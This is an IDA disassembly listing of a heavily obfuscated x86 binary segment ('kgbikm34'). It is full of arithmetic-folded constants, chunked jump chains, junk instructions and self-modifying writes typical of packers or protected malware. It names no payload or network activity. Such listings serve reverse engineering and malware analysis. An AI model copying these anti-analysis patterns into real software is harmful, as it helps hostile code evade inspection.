loc_43B511:				; CODE XREF: sub_43BA7A+Ej
		push	8493530Eh
		pop	eax
		or	eax, 32CB827Ah
		sub	eax, 0F3A0A887h
		rol	eax, 3
		xor	eax, 0FF2D13A8h

loc_43B52C:				; CODE XREF: kgbikm34:00439F27j
		jmp	loc_43B94E
; END OF FUNCTION CHUNK	FOR sub_43BA7A
; ---------------------------------------------------------------------------
		and	eax, ebp
		and	eax, edi
		jmp	sub_449804
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_43B53B:				; CODE XREF: sub_44BF13+13j
					; sub_44A9D8:loc_44CC46j
		jmp	loc_445B70
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3C5

loc_43B540:				; CODE XREF: sub_43F3C5+Aj
		pop	edx
		xor	edx, 0A8C83E4Dh
		jnz	loc_44B00F
; END OF FUNCTION CHUNK	FOR sub_43F3C5
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43B54D:				; CODE XREF: sub_43FA71-4237j
		jmp	sub_447B31
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
		shr	esi, 0Eh
		jmp	loc_4438F9
; ---------------------------------------------------------------------------

loc_43B55A:				; CODE XREF: kgbikm34:0043EE7Fj
		push	edi

; =============== S U B	R O U T	I N E =======================================



sub_43B55B	proc near		; CODE XREF: sub_449405+26A7p
		xchg	edi, [esp+0]
		pop	edi
		push	edx
		call	sub_43B469
		mov	eax, 0CE14EFFFh
		call	sub_4400C7
		jmp	loc_44D60A
sub_43B55B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B574	proc near		; CODE XREF: sub_44DAF3-C754j
		push	ebx
		sbb	ebp, 0D63CD7CCh
sub_43B574	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_43B57B:				; CODE XREF: sub_44DAF3:loc_446177j
		mov	eax, [ebp-18h]
		mov	eax, [eax]
		shl	eax, 3
		add	eax, [ebp-8]
		jmp	loc_43A1E8
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------

loc_43B58B:				; CODE XREF: kgbikm34:0043FFC1j
		mov	eax, [esp]
		push	edx
		push	ecx
		push	407B86EDh
		pop	ecx
		sub	ecx, 0EE825E20h
		xor	ecx, 0FC98C786h
		add	ecx, 52E1F4CCh
		jmp	loc_43C5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DD92

loc_43B5AD:				; CODE XREF: sub_44DD92:loc_4469F2j
		jnz	loc_44C8C7
		mov	eax, ebx
		jmp	loc_44D953
; END OF FUNCTION CHUNK	FOR sub_44DD92

; =============== S U B	R O U T	I N E =======================================



sub_43B5BA	proc near		; CODE XREF: sub_4481F3:loc_43B9A5p
					; kgbikm34:loc_43DB72p	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B308 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FE98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044072B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00441079 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00443BD6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044491E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004457F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447A69 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E02B SIZE 0000000A BYTES

		call	sub_438DDF

loc_43B5BF:				; CODE XREF: sub_449D59-6188j
		jmp	loc_44491E
sub_43B5BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438B7

loc_43B5C4:				; CODE XREF: sub_4438B7-62CBj
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_4438B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43B5C9:				; CODE XREF: sub_43EAEE:loc_43D1FDj
					; sub_440380+83j ...
		ror	eax, 1Eh
		js	loc_44C114
		xor	eax, 0CD8DFE5h
		ror	eax, 8
		xor	eax, 39B187D4h
		sub	eax, 0D8089C02h
		ror	eax, 9
		jmp	sub_44B11E
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------

loc_43B5EF:				; CODE XREF: kgbikm34:loc_446955j
		jz	loc_44BC0F
		jmp	loc_43FB1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_43B5FA:				; CODE XREF: sub_444051:loc_440999j
		call	sub_44D20D
; END OF FUNCTION CHUNK	FOR sub_444051
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_43B5FF:				; CODE XREF: sub_43E34D+21F8j
		or	ecx, eax
; END OF FUNCTION CHUNK	FOR sub_43E34D
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_43B601:				; CODE XREF: sub_445F1B:loc_440539j
		add	edi, 3C772C70h
		xchg	edi, [esp+0]
		jmp	loc_44C459
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_43B60F:				; CODE XREF: sub_4407E7+9B0Fj
		jbe	loc_449B61

loc_43B615:				; CODE XREF: kgbikm34:loc_43986Cj
		jmp	loc_4452DF
; END OF FUNCTION CHUNK	FOR sub_4407E7

; =============== S U B	R O U T	I N E =======================================



sub_43B61A	proc near		; DATA XREF: sub_43B1D6:loc_44325Do
		call	sub_43C7C6
		mov	esp, ebp
		push	offset loc_442EB8
		jmp	loc_43AD25
sub_43B61A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43B62B:				; CODE XREF: sub_439BDE+948Fj
		jz	loc_440DA1
		jmp	loc_444FB6
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 716Dh
; ---------------------------------------------------------------------------
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_43B63D	proc near		; CODE XREF: sub_4403D5+8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044193D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445F31 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449FC5 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_44193D
sub_43B63D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B646:				; CODE XREF: kgbikm34:00448790j
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_43B2CF
		jmp	loc_43C3F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43B659:				; CODE XREF: sub_440E0B-3A9Dj
					; sub_440E0B:loc_4483CEj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44B204
		jmp	loc_44BA17
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

loc_43B66A:				; CODE XREF: kgbikm34:loc_44A0ABj
		push	offset loc_43DCE5
		jmp	locret_445F9E
; ---------------------------------------------------------------------------
		push	ecx

loc_43B675:				; CODE XREF: kgbikm34:00442FB0j
		push	9F9817CCh
		pop	ecx
		and	ecx, 19CB6013h
		add	ecx, 0E6B9E108h
		mov	[ecx], eax
		pop	ecx

loc_43B68A:				; CODE XREF: kgbikm34:00438FD9j
		lea	eax, nullsub_276
		jmp	loc_4409C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD10

loc_43B695:				; CODE XREF: sub_44AD10+10j
		call	sub_44627C
		mov	eax, 0CE6B079Ah
		call	sub_43BF6F
		mov	ds:off_41E058, eax
		jmp	loc_4454CD
; END OF FUNCTION CHUNK	FOR sub_44AD10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44824C

loc_43B6AF:				; CODE XREF: sub_44824C+1j
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		call	sub_43FA71
		add	esi, 613B58ABh
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_13
		jmp	loc_440661
; END OF FUNCTION CHUNK	FOR sub_44824C
; ---------------------------------------------------------------------------

loc_43B6CD:				; CODE XREF: kgbikm34:loc_43EC52j
		and	edx, 0D0F4F8C3h
		sub	edx, 0EE740F21h
		add	edx, 0DE0556B0h
		mov	[edx], eax
		pop	edx
		push	offset loc_44624C
		jmp	loc_449AD4
; ---------------------------------------------------------------------------

locret_43B6EC:				; CODE XREF: kgbikm34:004475BEj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_4437EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43B6F2:				; CODE XREF: sub_43B0B7+10j
		jmp	loc_43F9E0
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43B6F7:				; CODE XREF: sub_43B932-2934j
					; sub_43B932:loc_4393C5j
		mov	eax, [esp-4+arg_0]
		push	eax
		push	eax
		push	17D28EAh
		pop	eax
		jmp	loc_43C0DF
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
		popf
		jmp	sub_4454E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43B70E:				; CODE XREF: sub_440E0B+BF34j
		jmp	loc_4483CE
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438D6

loc_43B713:				; CODE XREF: sub_4438D6+7j
		jmp	loc_44630E
; END OF FUNCTION CHUNK	FOR sub_4438D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43B718:				; CODE XREF: sub_43B1D6+4681j
		jmp	loc_44B2D6
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_43B71D:				; CODE XREF: kgbikm34:loc_439FDEj
					; kgbikm34:00446CBBj
		call	sub_44A9D8
		push	offset sub_43AECB
		jmp	loc_4459AD
; ---------------------------------------------------------------------------

loc_43B72C:				; CODE XREF: kgbikm34:004441D6j
		adc	ebp, edx

; =============== S U B	R O U T	I N E =======================================



sub_43B72E	proc near		; CODE XREF: sub_447B4A+7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044B3D4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044BB9A SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	ecx
		push	9994A6C9h
		jmp	loc_44BB9A
sub_43B72E	endp

; ---------------------------------------------------------------------------
		or	edi, ecx
		jmp	sub_446A0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD1A

loc_43B745:				; CODE XREF: sub_43FD1A+A328j
		mov	ecx, eax

loc_43B747:				; CODE XREF: sub_44647B:loc_44A818j
		xchg	ecx, [esp+0]
		lea	eax, dword_441C2C
		push	eax
		jmp	sub_44A38B
; END OF FUNCTION CHUNK	FOR sub_43FD1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43B756:				; CODE XREF: sub_43EAEE+3F78j
		jno	loc_448591
		jg	loc_443242
		jmp	loc_447996
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		push	ebx
		push	6BFEE424h
		pop	ebx
		and	ebx, 0C8B7A887h
		add	ebx, 39FA9F87h
		jmp	loc_43D0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43B77F:				; CODE XREF: sub_43FA71:loc_43CC57j
		jo	loc_4383D1
		sub	al, 99h
		push	offset loc_43928C
		jmp	loc_43B8DC
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAC8

loc_43B791:				; CODE XREF: sub_44BAC8:loc_442124j
		add	eax, 1144611Bh
		xchg	eax, [esp+0]
		jmp	loc_44C821
; END OF FUNCTION CHUNK	FOR sub_44BAC8
; ---------------------------------------------------------------------------

loc_43B79F:				; CODE XREF: kgbikm34:00440EBEj
		jl	loc_446915
; START	OF FUNCTION CHUNK FOR sub_4490AC

loc_43B7A5:				; CODE XREF: sub_4490AC+10j
		or	esi, 496DDA42h
		xor	esi, 0FB6DFA4Bh
		xchg	esi, [esp+0]
		jmp	loc_442856
; END OF FUNCTION CHUNK	FOR sub_4490AC
; ---------------------------------------------------------------------------

loc_43B7B9:				; CODE XREF: kgbikm34:0044787Aj
		jnp	loc_44429A
		pushf
		jmp	loc_44B7E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43B7C5:				; CODE XREF: sub_441D2F+496Fj
		pop	edx
		push	offset loc_4485AC
		jmp	loc_43774F
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------

loc_43B7D0:				; CODE XREF: kgbikm34:0044D7AFj
		rol	esi, 11h
		sub	esi, 2E56BE08h
		add	esi, 0A5AC6FF6h
		add	eax, esi
		pop	esi
		push	ebx
		pushf
		push	0B818FFC4h
		jmp	loc_44128F
; ---------------------------------------------------------------------------
		sbb	ebx, eax
		jmp	sub_43B3B2
; ---------------------------------------------------------------------------

loc_43B7F5:				; DATA XREF: sub_43E272+7o
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	esi
		jmp	loc_445ADE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_43B801:				; CODE XREF: sub_4424F7+7j
		mov	eax, ds:dword_43A8A0
		mov	[ebp-4], eax
		push	7CD25A64h
		pop	eax
		and	eax, 0E6E13ABEh
		sub	eax, 9DA0D5A3h
		jmp	loc_44C2B9
; END OF FUNCTION CHUNK	FOR sub_4424F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43B820:				; CODE XREF: sub_4471A4:loc_43E80Dj
		test	esi, 5879B4B0h
		jmp	loc_43944C
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------

loc_43B82B:				; CODE XREF: kgbikm34:004486F9j
		jbe	loc_44E02B

loc_43B831:				; CODE XREF: kgbikm34:loc_4486E5j
		add	esi, 0E63965AEh
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43B837:				; CODE XREF: sub_43FA71:loc_44872Ej
		xchg	esi, [esp+4+var_4]
		jmp	loc_43B54D
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------

loc_43B83F:				; CODE XREF: kgbikm34:00448BEDj
		js	loc_44C058
		push	2D077D68h
		jmp	loc_439B55
; ---------------------------------------------------------------------------

loc_43B84F:				; CODE XREF: kgbikm34:00441905j
		rol	edi, 17h
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_43B852:				; CODE XREF: sub_449D87:loc_43FC83j
		add	esi, 0E91D671Ch
		mov	[esi], eax
		xchg	ebx, [esp+0]
		mov	esi, ebx
		push	offset loc_4499B9
		jmp	nullsub_221
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_43B869:				; CODE XREF: sub_43E34D:loc_442851j
		call	sub_44D3D7

loc_43B86E:				; CODE XREF: kgbikm34:loc_441E6Cj
		pop	eax
		and	eax, ds:4000F3h
		add	eax, 31A4C2DEh
		add	eax, ebp
		add	eax, 0AE3ABC5Ah
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_4449F4
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD1A

loc_43B88D:				; CODE XREF: sub_43FD1A+E443j
		jb	loc_43C4DC
		sub	ecx, 20B5C1FCh
		jmp	loc_44A037
; END OF FUNCTION CHUNK	FOR sub_43FD1A

; =============== S U B	R O U T	I N E =======================================



sub_43B89E	proc near		; CODE XREF: sub_402AC0+29p
					; sub_403879+27Cp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439352 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044620A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044773B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A3C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D90C SIZE 0000000B BYTES

		push	ecx
		push	0B79727D0h

loc_43B8A4:				; CODE XREF: kgbikm34:loc_442C0Dj
		pop	ecx
		sub	ecx, 0BBE43462h
		jmp	loc_439352
sub_43B89E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_43B8B0:				; CODE XREF: sub_44DAF3-13A0Bj
		jo	loc_447E4C

loc_43B8B6:				; CODE XREF: sub_44DAF3:loc_446F91j
		call	sub_447749
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43B8BB:				; CODE XREF: sub_4474D5:loc_442D69j
		jmp	loc_44BF40
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_43B8C0:				; CODE XREF: kgbikm34:loc_43D19Fj
		sub	edx, esi
		push	0DFC95037h
		jmp	loc_4485A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_43B8CC:				; CODE XREF: sub_4494B1:loc_44DCB6j
		jnz	loc_446D33
; END OF FUNCTION CHUNK	FOR sub_4494B1
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43B8D2:				; CODE XREF: sub_43DF5B+9E5j
		jmp	loc_43CC5C
; ---------------------------------------------------------------------------

loc_43B8D7:				; CODE XREF: sub_43DF5B+6j
		jmp	loc_43ACEF
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43B8DC:				; CODE XREF: sub_43FA71-42E5j
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
		push	edx
		adc	ecx, edx
		adc	ecx, 8D344932h
		jmp	loc_446D33
; ---------------------------------------------------------------------------

loc_43B8EF:				; CODE XREF: kgbikm34:00447E6Cj
		jge	loc_44D710
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43B8F5:				; CODE XREF: sub_449D59:loc_43A262j
		add	ebx, 44867EBEh
		xchg	ebx, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_449D59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439705

loc_43B904:				; CODE XREF: sub_439705-5C8j
		jmp	sub_43ACD5
; END OF FUNCTION CHUNK	FOR sub_439705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_43B909:				; CODE XREF: sub_43AD9F-24DEj
		jmp	loc_445738
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------

loc_43B90E:				; CODE XREF: kgbikm34:00438F6Fj
		add	eax, 3A777E06h
		add	ecx, 0DDCCB155h

loc_43B91A:				; CODE XREF: kgbikm34:loc_43D28Dj
		mov	eax, [ebp-18h]
		mov	eax, [eax+24h]
		push	edi
		push	6B7D2DD5h
		pop	edi
		xor	edi, 9067E6C6h
		jmp	loc_443C8B

; =============== S U B	R O U T	I N E =======================================



sub_43B932	proc near		; CODE XREF: sub_44B495-AB39p
					; kgbikm34:004447BAj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004373B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043772A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438FFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004393C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043952C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B6F7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BC9B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C0DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C5C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D668 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043DABC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043FC74 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440ED8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004411E9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441592 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444B51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004485F9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044968A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E1D1 SIZE 00000016 BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		or	eax, eax
		jnz	loc_441592
		jmp	loc_43772A
sub_43B932	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B943	proc near		; DATA XREF: sub_43A24Eo
		call	sub_43B958
		jmp	ds:off_41E0BC
sub_43B943	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA7A

loc_43B94E:				; CODE XREF: sub_43BA7A:loc_43B52Cj
		jmp	loc_4486D7
; END OF FUNCTION CHUNK	FOR sub_43BA7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_43B953:				; CODE XREF: sub_447135-CDDDj
		jmp	loc_445907
; END OF FUNCTION CHUNK	FOR sub_447135

; =============== S U B	R O U T	I N E =======================================



sub_43B958	proc near		; CODE XREF: sub_44772C:loc_43ACC1j
					; sub_43B943p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004480D4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004480FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044952F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C8D4 SIZE 00000008 BYTES

		pop	edx
		jnb	loc_4480FA
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44B5E4
		push	3F29A80Dh
		jmp	loc_44C8D4
sub_43B958	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_43B972:				; CODE XREF: sub_446F79-3CEAj
		adc	ecx, 8D87FCE3h
		sbb	esi, edi
		jo	loc_441CDE
		adc	esi, edi
		jmp	loc_43ED71
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43B987:				; CODE XREF: sub_449D78+Aj
		pop	eax
		add	eax, 1674E4ABh
		or	eax, 0C3D07A14h
		add	eax, 1C7300BBh
		jmp	loc_4439BE
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_43B99F:				; CODE XREF: sub_4481F3:loc_44BC07j
		jz	loc_444A67

loc_43B9A5:				; CODE XREF: kgbikm34:00439DA3j
		call	sub_43B5BA
		jnz	loc_439CF3
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		call	sub_448253
		add	edx, ebx
		jmp	loc_439033
; END OF FUNCTION CHUNK	FOR sub_4481F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7D3

loc_43B9C2:				; CODE XREF: sub_43C7D3-28C6j
					; kgbikm34:00439F2Dj
		sub	ecx, 29474959h
		add	ecx, 760FF415h
		xor	eax, ecx
		pop	ecx
		rol	eax, 8
		xor	eax, 0CD8DFE5h
; END OF FUNCTION CHUNK	FOR sub_43C7D3
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43B9DA:				; CODE XREF: sub_43EAEE:loc_43774Aj
		rol	eax, 1Eh
		mov	ds:dword_44A198, eax
		jmp	loc_43D1FD
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------

loc_43B9E8:				; CODE XREF: kgbikm34:00447831j
		jmp	loc_4480B8
; ---------------------------------------------------------------------------

loc_43B9ED:				; CODE XREF: kgbikm34:0044781Dj
					; kgbikm34:0044782Bj
		call	sub_43DC9A
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_43B9F2:				; CODE XREF: sub_44C093-85A3j
		jmp	loc_44309B
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429D6

loc_43B9F7:				; CODE XREF: sub_4429D6+10j
		jmp	sub_446B3C
; END OF FUNCTION CHUNK	FOR sub_4429D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43B9FC:				; CODE XREF: sub_43E4C0:loc_43F1E5j
		push	offset sub_44527A
		jmp	loc_44267B
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
		mov	eax, 99B20D50h
		call	sub_43BF6F
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp]
		jmp	loc_447622
; ---------------------------------------------------------------------------

loc_43BA1B:				; DATA XREF: kgbikm34:0044E0D0o
		mov	ds:dword_41E0CC, eax
		lea	eax, nullsub_349
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_349
; ---------------------------------------------------------------------------
		call	nullsub_236
		jmp	ds:dword_41E0D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFD

loc_43BA3A:				; CODE XREF: sub_43FDFD+64A1j
		jmp	nullsub_350
; END OF FUNCTION CHUNK	FOR sub_43FDFD
; ---------------------------------------------------------------------------
		add	esi, 0A89F9BDCh
		jmp	loc_438AF9
; ---------------------------------------------------------------------------

loc_43BA4A:				; CODE XREF: kgbikm34:00438FDFj
		mov	ebp, [eax]
		mov	[ebx], edi
		add	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_43BA50:				; CODE XREF: sub_43CAB5:loc_438FCDj
		and	eax, 67233202h
		rol	eax, 0Ah
		test	eax, 80000000h
		jmp	loc_44127A
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43BA64:				; CODE XREF: sub_4474D5-BFC9j
		jnp	loc_44C655
		jo	nullsub_99
		mov	ecx, [ebp+0]
		test	edi, esi
		jmp	loc_444FE4
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_43BA7A	proc near		; CODE XREF: kgbikm34:00445F8Fp
					; kgbikm34:0044D396j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B511 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043B94E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004486D7 SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	eax
		jmp	loc_43B511
sub_43BA7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_43BA8D:				; CODE XREF: sub_445F1B:loc_439CB2j
		rol	edi, 19h
		cmp	edi, 0F61835DBh
		jmp	loc_438925
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------

loc_43BA9B:				; CODE XREF: kgbikm34:00446DE3j
		shr	edx, 1Ch
		xor	eax, 91AD378Ah

loc_43BAA4:				; CODE XREF: kgbikm34:loc_439091j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439A48
		jmp	loc_448AF4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_43BAB6:				; CODE XREF: sub_449D87-12C93j
		jmp	loc_43FC83
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp]
		push	61DE5D4Eh
		pop	esi
		rol	esi, 1Fh
		add	esi, 0CF52B19Dh
		jmp	loc_439C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43BAD5:				; CODE XREF: sub_44D21F-11FD8j
		push	edx
		push	0C2DA91E1h
		pop	edx
		add	edx, 698EBDD6h
		xor	edx, 0D344281Bh
		add	ecx, edx
		pop	edx
		jmp	loc_43C423
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		or	ebx, ebp
		push	eax
		jmp	sub_44A265
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_43BAF8:				; CODE XREF: sub_44649E:loc_439512j
		jz	loc_446615
		jmp	loc_43FB16
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_43BB03:				; CODE XREF: kgbikm34:0044428Bj
		pop	ecx
